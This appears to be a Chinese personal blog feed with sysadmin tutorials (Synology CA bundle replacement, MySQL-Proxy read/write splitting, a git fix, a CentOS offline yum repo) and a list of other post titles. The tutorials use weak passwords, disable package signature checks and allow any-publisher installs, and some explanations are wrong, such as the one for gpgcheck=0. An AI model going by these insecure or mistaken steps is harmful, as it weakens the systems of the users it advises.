RSSHub Docs

群晖添加第三方套件源提示无效位置的解决方法

Thu, 14 Sep 2023 21:05:30 +0800

群晖添加第三方套件源提示无效位置的解决方法

1、最近由于CA根域名证书过期的原因，造成很多群晖证书失效，最直接的影响就是添加第三方套件源会提示无效的位置的

2、因此，我们只需要给群晖更新一下根证书，在电脑的浏览器打开这个

https://curl.se/ca/cacert.pem

3、系统会自动下载一个证书文件，保存在电脑上面

4、找到刚才下载的文件

5、打开群晖File Station，在非中文的共享文件夹建立一个子文件夹

6、上传文件，用覆盖模式

7、把下载到电脑的文件，上传到群晖

8、点中文件，右键属性

9、在”位置”后面的内容全部选中—复制—关闭

(/volume2 就是储存空间2 )

10、打开群晖控制面板—任务计划—新增—触发的任务—用户定义的脚本

11、任务名称随便写，我写的是’cacert’，用户账号选’root’

12、把脚本复制一下(把/volume2/downloads/1/cacert.pem 改成9步骤中复制的)，根据实际路径修改好，粘贴放到下面的位置后，然后点一下确定

cp /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/ca-certificates.crt.bak
cp /volume2/downloads/1/cacert.pem /etc/ssl/certs/ca-certificates.crt

13、在任务列表找到刚刚添加的任务—右键—运行

14、点“是”

15、再回到群晖的套件中心，在套件中心—设置—来源—新增，加入第三方套件的地址

https://packages.synocommunity.com/

16、在套件中心—设置—在”允许安装以下发现者发布的套件;“—选择”任何发行者”,

MySQL读写分离

Thu, 14 Sep 2023 21:02:55 +0800

MySQL基本教程

增加用户`phpadmin`并完成授权

创建数据库用户phpadmin可以从网站服务器(192.168.30.21)登录数据库服务器
```
create user 'phpadmin'@'192.168.30.21' identified by '000000';
```
为数据库用户phpadmin授权：可以读写store库
```
grant all privileges on store.* to 'phpadmin'@'192.168.30.21'; 
```
如果想给store库下的goods表权限的话只需要把*改成goods就可以了，这里的*代表这store库下的全部表
```
grant all privileges on store.goods to 'phpadmin'@'192.168.30.21';
```

创建Table

在给表中插入数据的前提是创建好表才可以往表中插入数据

创建table(给store 库下创建名为goods的表)

create table store.goods(gid char(32),gname char(32),gprice decimal(9,2));

给goods表中插入数据

insert into store.goods values('001','apple','11');

MySQL读写分离

架构图

MySQL读写分离概念

MYSQL读写分离的原理其实就是让Master数据库处理事务性增、删除、修改、更新操作（CREATE、INSERT、UPDATE、DELETE），而让Slave数据库处理SELECT操作，MYSQL读写分离前提是基于MYSQL主从复制，这样可以保证在Master上修改数据，Slave同步之后，WEB应用可以读取到Slave端的数据。

MySQL-proxy是官方提供的MySQL中间件产品可以实现负载平衡，读写分离，failover等。

SQL语句并不直接进入到master数据库或者slave数据库，而是进入到 proxy，然后proxy判断这条语句是有关写的语句（包括insert、update、delete）还是读语句（select），当是写语句的时候，那么proxy将向master所在的服务器发出请求，同理，如果是读语句的时候，proxy将向slave所在的服务器发出请求。

介绍

处于client段和MySQL server 端之间的应用
可以监测、分析或改变它们的通信
使用灵活，没有限制，常用的用途包括：负载平衡，故障、查询分析，查询过滤和修改等等

环境搭建

需要3台服务器，Proxy可以选择和MySQL部署在同一台服务器，也可以选择单独部署在另一台独立服务器。

并且Master和Slave服务器配置好了数据库的主从同步

hostname	IP
Master	192.168.30.91
Slave	192.168.30.92
Proxy	192.168.30.93

下载mysql-proxy使用MySQL-Proxy

注意：要在Master和Slave数据库里面给phpadmin用户权限

例:grant all privileges on store.goods to 'phpadmin'@'192.168.30.21';

其中的登录IP为你的MySQL-proxy服务器的IP

开始配置MySQL-Proxy

使用的服务器系统为RedHat 9

1. MySQL主从同步

老师文档里面有教过，先暂时不写教程

2. MySQL-Proxy配置

安装MySQL-Proxy

tar -zxvf mysql-proxy-0.8.5-linux-glibc2.3-x86-64bit.tar.gz
mv mysql-proxy-0.8.5-linux-glibc2.3-x86-64bit /usr/local/mysql-proxy

配置mysql-proxy

执行命令

cd /usr/local/mysql-proxy
mkdir lua #创建脚本存放目录
mkdir logs #创建日志目录
cp share/doc/mysql-proxy/rw-splitting.lua ./lua #复制读写分离配置文件
cp share/doc/mysql-proxy/admin-sql.lua ./lua #复制管理脚本

配置文件(创建/etc/mysql-proxy.cnf配置文件)

[mysql-proxy]
user=root  #运行mysql-proxy的用户
admin-username=root  #主从mysql共有的用户
admin-password=000000 #用户的密码
proxy-address=192.168.30.93  #mysql-proxy运行ip和端口,不加端口默认4040
proxy-backend-addresses=192.168.30.91  #指定后端主master写入数据
proxy-read-only-backend-addresses=192.168.30.92 #指定后端从slave读取数据
proxy-lua-script=/usr/local/mysql-proxy/lua/rw-splitting.lua #指定lua脚本
admin-lua-script=/usr/local/mysql-proxy/lua/admin-sql.lua
log-file=/usr/local/mysql-proxy/logs/mysql-proxy.log
daemon=true #以守护进程方式运行
log-level=info  #定义log日志级别，由高到低分别有(error|warning|info|message|debug)
keepalive=true  #mysql-proxy崩溃时，尝试重启

复制一定要删除全部注释，要不然会有报错，最好把注释前的空格也给删了

然后设置mysql-proxy.cnf权限:chmod 660 /etc/mysql-proxy.cnf(所属用户和所属组有读写权限)

配置读写分离脚本

vi /usr/local/mysql-proxy/lua/rw-splitting.lua

if not proxy.global.config.rwsplit then
 proxy.global.config.rwsplit = {
  min_idle_connections = 1, #默认超过4个连接数时，才开始读写分离，改为1
  max_idle_connections = 1, #默认8，改为1
  is_debug = false
 }
end

启动MySQL-proxy

/usr/local/mysql-proxy/bin/mysql-proxy --defaults-file=/etc/mysql-proxy.cnf

验证是否启动成功

netstat -tupln | grep 4000

关闭命令

killall -9 mysql-proxy  #-9 为强制杀掉进程

3. 测试

因为Master数据库负责读写，而Slave数据库只可以读

在fm1.php和fm2.php文件中负责连接数据库读取store库下的goods中的表数据。但我的Slave数据库没有store库也没有goods表，只有我的Master数据库才有goods表。所以当我通过MySQL-Proxy服务器进行操作的时候，是查不到表中的数据的，因为我们读取数据库是走Slave数据库的，但我们Slave数据库是没有这个文件的。这就可以证明读取数据走的是Slave服务器而不是Master服务器。当我们在Slave数据库创建出goods表，并添加一些数据时候，当我们运行fm1.php的时候就可以查询到数据了

暂停读写分离测试
1. 先暂时停掉主从同步
2. 在master节点插入数据，然后通过MySQL-proxy查询
3. 在slave节点插入数据，然后通过MySQL-proxy查询

Git出现push报错

Thu, 14 Sep 2023 20:53:53 +0800

当Git Bash 使用push的时候出现了以下的这个报错的，可以尝试下使用一下命令

How to solve this problem of "! [rejected] master -> master (fetch first)"

First Do this ...

git fetch origin master
git merge  master

Then, do this ...

git fetch origin master:tmp
git rebase tmp
git push origin HEAD:master
git branch -D tmp

Now everything works well.

是在GitHub Gist中有人提出的

GitHub Gist问题帖

Centos配置离线yum源

Fri, 25 Sep 2020 10:48:57 +0800

我们在Llinux系统中安装插件一般都是使用yum来进行安装插件(也可以通过rpm包来安装但是我们现在用的最多的是yum安装)，yum安装可以联网安装和离线安装，离线安装就是不能连通外网的时候来进行安装插件

开始:

1.登录虚拟机

cd /etc/yum.repos.d

可以看到有很多文件我们都不需要这些文件，可以通过sd```mv命令来剪切走

mv /etc/yum.repos.d/* /opt

这个时候进入yum.repos.d这个文件夹就会发现东西没有了

这个时候我们输入

vi local.repo   //这个local这个名称是随便的可以不叫loacl但是后面结尾一定是.repo
输入完这个命令就会到这个界面

这个时候按一下i键进入编辑模式输入

[centos]   //这个地方也是不一定要叫centos也可以叫别的比如[aaa]
name=centos  //这个地方是也name=加你想加的
baseurl=file:///mnt/cd  //这个mnt/cd是你的挂载点0
enabled=1   //这里就按照这个打就好了，意思是开启
gpgcheck=0  //这里也是按照这个打，意思是关闭开机自启动
然后按Esc键输入:wq进行保存并退出

然后我们创建我们上面配置文件打的那个/mnt/cd这个目录

mkdir /mnt/cd

然后我们进行挂载

mount /dev/sr0 /mnt/cd  //这个是将光盘挂载到/mnt/cd这个目录上

在我们使用/dev/sr0这个的时候要看看VMware中这个是否连接

挂载成功的命令反馈是

然后我们试着yum安装一个插件

yum -y install vim

出现这个就是成功了

Pseudowang

TypeScript Generics 学习笔记

1. 为什么需要泛型

两种调用方式

2. 泛型变量的"使用限制"

解法: 明确它是数组

3. 泛型类型 (函数类型 & 接口)

思考:

泛型接口: 两种写法，含义不同

4. 泛型类

5. 泛类约束 (Generic Constraints)

用 extends 加约束：

用一个类型参数约束另一个类型参数（keyof）

6. 用泛型描述类 (构造函数) 本身

7. 泛型参数默认值

函数参数默认值

例子

8. Variance Annotations（协变/逆变标注）

📖 参考文献

存储 Auth Token 的方式

The basics

Validation 到底在验证什么

将 token 存放在 localStorage 之中

存在哪里: 三种选择

1. localStorage

2. 内存变量 —— 看起来好一点，其实不实用

3. httpOnly Cookie

XSS 和 CSRF 是两种病，要两种药

CSRF 的三层防御

第一层: CSRF Token（主力）

第二层: SameSite（兜底）

第三层: 校验 Origin（保险丝）

Origin

Sec-Fetch-Site

Session 还是 JWT

JWT 的真正问题: 撤销不了

Session 的做法

JWT 什么时候才是对的

OAuth: access token 和 refresh token 怎么放

轮换 (Rotation): 让被偷的凭证自己失效

并发 refresh 的坑

前端封一层就够了

BFF (Backend for Frontend): 让浏览器根本拿不到 token

📖 参考文献

Hook

Hook 是什么

Hook Point

Hook Function

注册机制

显式调用注册函数

配置文件/装饰器声明

子类覆写方法

Monkey Patch/运行时替换

小结

Summary of 2025

序言

个体层面

环境层面

自我的构建

拥抱实体记录

挫折中成长

开始并坚持健身

书籍输入

展望·2026

职业方向: 希望自己能够拿下人生第一个前端实习 offer

自我效率: 希望自己能花更多时间在提升自己上

未来展望

控糖日记

缘起

佩戴

概览

感受

健身

结束

食 (理论)

血糖峰值危害

控糖技巧

食 (实际)

2025/10/21

2025/10/22 血糖巅峰

用 `extends` 加约束：

用一个类型参数约束另一个类型参数（`keyof`）

搭建 Caddy 服务并且使用 Cloudflare 自动获取SSL 证书